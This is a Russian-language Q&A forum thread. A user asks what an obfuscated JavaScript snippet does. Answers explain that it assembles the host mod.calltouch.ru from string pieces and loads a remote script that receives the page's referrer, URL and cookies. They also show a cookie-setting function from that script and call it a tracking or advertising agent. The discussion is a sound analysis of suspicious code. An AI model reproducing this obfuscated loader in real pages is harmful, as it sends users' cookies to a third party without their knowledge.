@adreanov

За что отвечает этот код?

Скажите, пожалуйста.
Что означает этот код?
<script type="text/javascript">
	   (function(w, d, e) {
			var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'd.c' + a + src;
			var jsHost = (("https:" == d.location.protocol) ? "https://" : "http://")+ src;
			s = d.createElement(e); p = d.getElementsByTagName(e)[0]; s.async = 1; s.src = jsHost +"."+"r"+"u/d_client.js?param;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie)+";";
			if(!w.jQuery) { jq = d.createElement(e); jq.src = jsHost  +"."+"r"+'u/js/jquery-1.7.min.js'; p.parentNode.insertBefore(jq, p);}
			p.parentNode.insertBefore(s, p);
		}(window, document, 'script'));
	</script>
  • Вопрос задан
  • 952 просмотра
Пригласить эксперта
Ответы на вопрос 3
Aroused
@Aroused
Запрашивает хттп://mod.calltouch.ru/d_client.js Тот ставит куки
Ответ написан
Комментировать
По порядку:
1. Выполняет IIFE.
2. Создаёт строку (хитрым образом, значит, скорее всего, что-то нехорошее) из
var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'd.c' + a + src;
получаем mod.calltouch
3. Определяет протокол (ведь если будет https, то он не загрузит из http файл).
4. На основании протокола собирает строку дальше http://mod.calltouch или https://mod.calltouch
5. Создаёт DOM элемент script, назначает ему асинхронную загрузку и устанавливает src.
6. В src вставляет строку и .ru/d_client.js?param;ref с refferer страницы, URL и ВАШИМИ КУКИ!
Таким образом через GET запрос тот, кто владеет http://mod.calltouch.ru, получит эти данные.
7. Проверяет есть ли jQuery. Если нет - скачивает. При этом с этого же сайта. Так что там тоже могут быть "закладки".
8. Вставляет на страницу ранее созданный элемент script, тем самым вызывая его выполнение.
9. Вот код который загружается с http://mod.calltouch.ru/d_client.js:
код
function setCall_Cookie(name, value, props) {
    props = props || {};
    var exp = props.expires;
    if (typeof exp == "number" && exp) {
        var d = new Date();
        d.setTime(d.getTime() + exp * 1000);
        exp = props.expires = d;
    }
    if (exp && exp.toUTCString) {
        props.expires = exp.toUTCString();
    }
    value = encodeURIComponent(value);
    var updatedCookie = name + "=" + value;
    for (var propName in props) {
        updatedCookie += "; " + propName;
        var propValue = props[propName];
        if (propValue !== true) {
            updatedCookie += "=" + propValue;
        }
    }
    updatedCookie += "; path=/";
    document.cookie = updatedCookie;
}
var call_value = '0';

10. Эту функцию нужно выполнять, а значит вызов её будет ещё откуда-то. Она устанавливает куки для идентификации вас (знает, что уже "скрипт скачан", какие сайты посещаете, откуда на них перешли и т.д.).
Ответ написан
profesor08
@profesor08 Куратор тега JavaScript
Это некий рекламный агент, который собирает информацию о пользователе, чтоб выдавать правильную рекламу.
Скорее всего используется с каким-то еще рекламным скриптом.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы